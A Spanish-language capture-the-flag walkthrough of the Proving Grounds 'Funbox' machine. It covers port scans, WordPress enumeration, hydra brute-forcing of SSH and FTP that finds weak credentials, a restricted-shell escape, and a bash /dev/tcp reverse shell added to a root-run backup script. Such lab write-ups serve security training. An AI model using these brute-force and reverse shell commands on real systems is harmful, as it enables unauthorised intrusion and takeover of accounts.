# Funbox

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVevmqkLWHu3YvSiVKseM%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(5).png?alt=media&#x26;token=d82edcfe-e644-4519-9962-9684130339b4" alt=""><figcaption></figcaption></figure>

## Enumeración

### Servicios abiertos

Vamos a comenzar la resolución de la máquina Funbox enumerando que puertos tiene abiertos el sistema objetivo.

```
nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.250.77
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FLWXUckWx9jUYUNDqqq8t%2Fimage.png?alt=media&#x26;token=3799eb02-633d-4aee-acae-dd9cdc1cb476" alt=""><figcaption></figcaption></figure>

La máquina tiene servicios abiertos en los puertos  21,22,80 y 33060. El siguiente paso será la enumeración profunda de estos cuatros servicios.

```
nmap -p21,22,80,33060 -Pn -n -sVC -vvv 192.168.250.77
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVqPfD35wxWYuxlBGSC1R%2Fimage.png?alt=media&#x26;token=0a62cd72-66f4-48b5-99f9-79410c1c7baa" alt=""><figcaption></figcaption></figure>

### Enumeración Web

La máquina objetivo estaba ejecutando un servicio Web en el puerto 80. Vamos a enumerar su contenido.

Al introducir la IP en nuestro navegador, esta es redireccionada a un dominio.&#x20;

![](https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkEgTPOg0llZaTZ3AahD6%2Fimage.png?alt=media\&token=4c5e1a62-b27b-462b-a78a-1704775661ba)

Vamos a registrarlo en el archivo /etc/hosts.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZRkjUTHWLYy5inMLT0JN%2Fimage.png?alt=media&#x26;token=d7dfdc46-de0d-4ffd-8199-ec6ce570bb79" alt=""><figcaption></figcaption></figure>

Y ya podremos acceder al sitio Web.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdSHye6mlBDFLFQLVfgcF%2Fimage.png?alt=media&#x26;token=230d6914-595a-428b-abff-ce956a5abfa8" alt=""><figcaption></figcaption></figure>

Parece que el sitio Web está montado sobre un CMS WordPress. El siguiente paso será por un lado enumerar archivos y directorios interesantes, y por otro, enumerar más información interesante utilizando la herramienta especializada para este CMS, wpscan.

Comenzamos por la enumeración de directorios con dirsearch.

```
dirsearch -u http://funbox.fritz.box -i200,301 -e txt,html,php 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FL3HcImLuGy5tAnbytn5t%2Fimage.png?alt=media&#x26;token=f26d6b0d-a58b-4656-9568-4184f481720f" alt=""><figcaption></figcaption></figure>

Interesante, tenemos un archivo robots.txt y un directorio /secret. Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiXBBoIWcR2271lvoQD0Q%2Fimage.png?alt=media&#x26;token=bc2c3afc-4656-4501-a673-189a962d7d8e" alt=""><figcaption><p>robots.txt</p></figcaption></figure>

Nos indica el directorio /secret que encontramos en la enumeración con dirsearch.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fkcfr0xPpa2t4OGLulKeF%2Fimage.png?alt=media&#x26;token=5f9e1b40-ffae-4ffa-b568-53335bec5695" alt=""><figcaption></figcaption></figure>

Nothing por aquí. Vamos a enumerar información interesante con wpscan.

```
wpscan --url http://funbox.fritz.box/ --enumerate u
```

Después de un momento, encontramos dos usuarios del CMS, admin y joe.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F540AyXYOLjotLv9OtKza%2Fimage.png?alt=media&#x26;token=b3ad4d72-dcc3-4d62-9d38-921d7f75a690" alt=""><figcaption></figcaption></figure>

Sabiendo esto, vamos a tratar de realizar un ataque de fuerza bruta para encontrar credenciales que nos permita iniciar sesión en el Panel de Administración del sitio Web.

```
wpscan --url http://funbox.fritz.box -U joe -P /home/elhackeretico/rockyou.txt
```

Pero tras su ejecución, no encontramos credenciales.

## Explotación

Tenemos dos nombres de usuario, y dos servicios, FTP y SSH, ejecutandose en la máquina objetivo. Vamos a tratar de encontrar credenciales con un ataque de fuerza bruta utilizando hydra.&#x20;

```
hydra -l joe -P /home/elhackeretico/rockyou.txt -f "funbox.fritz.box" -s22 ssh
hydra -l joe -P /home/elhackeretico/rockyou.txt -f "funbox.fritz.box" -s21 ftp
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F8tKWbzoWAOASEqzOddR6%2Fimage.png?alt=media&#x26;token=03c6276c-55dd-4ecc-b7ad-60e8084462d3" alt=""><figcaption><p>Credenciales joe SSH joe:12345</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwikxMOKTRInJRLo1GJYp%2Fimage.png?alt=media&#x26;token=eb7420a0-72f5-4176-9149-6c44fc47cbd8" alt=""><figcaption><p>Credenciales joe FTP joe:12345</p></figcaption></figure>

Vamos a tratar de acceder al sistema a través de FTP, con las credenciales que encontramos anteriormente.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FsP54f6EJRxpCJ7GDRfhb%2Fimage.png?alt=media&#x26;token=15902d57-bc47-4abb-ad4e-488db838c0ac" alt=""><figcaption></figcaption></figure>

Descargamos estos archivos en nuestra máquina.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FpssutYsbpTXDPTh2D7cY%2Fimage.png?alt=media&#x26;token=0c9c7534-9504-49ea-8ce6-d8422622b4db" alt=""><figcaption></figcaption></figure>

Encontramos la flag local.txt.&#x20;

## Elevación de privilegios

Veamos también el otro archivo descargado.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7ufazPHDuUo9Wg00n3tF%2Fimage.png?alt=media&#x26;token=07d681cb-a81f-499b-b6a2-7b609dc52ef9" alt=""><figcaption></figcaption></figure>

Es una copia de un correo electrónico. Parece que hay un usuario llamado "funny" que está esperando un script de respaldo. Buscaremos el directorio  del usuario "funny", a ver si podemos encontrar alguna información relacionada.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOEI2pVlbVYXBcodEijyY%2Fimage.png?alt=media&#x26;token=a7a85c52-02c8-41a5-9664-caa0fe4f8c0b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fkpx8KlDsiA7W2Jp3TOiv%2Fimage.png?alt=media&#x26;token=3e9b37c4-e03c-4210-a000-9a6fbb09d38d" alt=""><figcaption></figcaption></figure>

La shell que recibimos tras conectarnos a través de SSH, es restringida. Vamos a saltarla haciendo la terminal interactiva con Python3.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Una vez hecho esto, ya podremos movernos sin limitaciones por los diferentes directorios.

En el directorio /home, encontramos dos usuarios, "joe" y "funny". Veamos el contenido del directorio del usuario "funny".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdydRSbaZiUWyG9BWYq6W%2Fimage.png?alt=media&#x26;token=25864b8c-1c9f-4345-bfed-9d76e19bf4e0" alt=""><figcaption></figcaption></figure>

Dos archivos interesantes, reminder.sh y backup.sh. Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FH8iorCj0pow3w64vZfYg%2Fimage.png?alt=media&#x26;token=9f99435e-7ef7-4348-bb25-2fd9c6228eec" alt=""><figcaption></figcaption></figure>

Vamos a verificar si el script .backup.sh está siendo utilizado por algún proceso y quién lo está utilizando. Para realizar esta verificación, podemos emplear la herramienta "pspy". Pspy es una herramienta que permite observar los procesos en ejecución sin necesidad de contar con permisos de root. Transferimos el ejecutable pspy64 a la máquina objetivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDZoYUdy92NEbgUNKl5PY%2Fimage.png?alt=media&#x26;token=7978dbc6-718e-4cae-a692-5c13e627a040" alt=""><figcaption></figcaption></figure>

Y ejecutamos.

```
chmod +x pspy64
./pspy64
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FSrRG9ipdXN8YuwwNe71D%2Fimage.png?alt=media&#x26;token=63d36db8-f26a-4c4f-8c1e-3d1d1f6fc24c" alt=""><figcaption></figcaption></figure>

Como puede observar, el archivo "/home/funny/.backup.sh" se ejecuta tanto con el UID=1000 (Funny) como con el UID=0 (raíz). Por lo tanto, vamos a modificar el archivo y esperaremos una conexión entrante.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2MO4RP3mocJcNIBupILj%2Fimage.png?alt=media&#x26;token=1a9d0325-97c9-4151-814e-1c34ca9f04f3" alt=""><figcaption></figcaption></figure>

```
bash -i >& /dev/tcp/192.168.45.167/1337 0>&1
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fg1bJBP95molM49P4fRLP%2Fimage.png?alt=media&#x26;token=f77d8d2d-e252-4c7e-ad9c-5d44578620a9" alt=""><figcaption></figcaption></figure>

Los primeros intentos no tuvieron éxito y obtuvimos solo el usuario. Pero en el último intento, obtuvimos acceso como usuario "root".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FGiEfoQ8q9RFKMB1UrjFa%2Fimage.png?alt=media&#x26;token=a1a39c01-5ed9-4dcc-88aa-caca390c88f0" alt=""><figcaption></figcaption></figure>

Y ya estaría terminada la máquina funbox de la plataforma Proving Grounds.

<figure><img src="https://img.youtube.com/vi/9axFLXQzIZY/0.jpg" alt=""><figcaption></figcaption></figure>
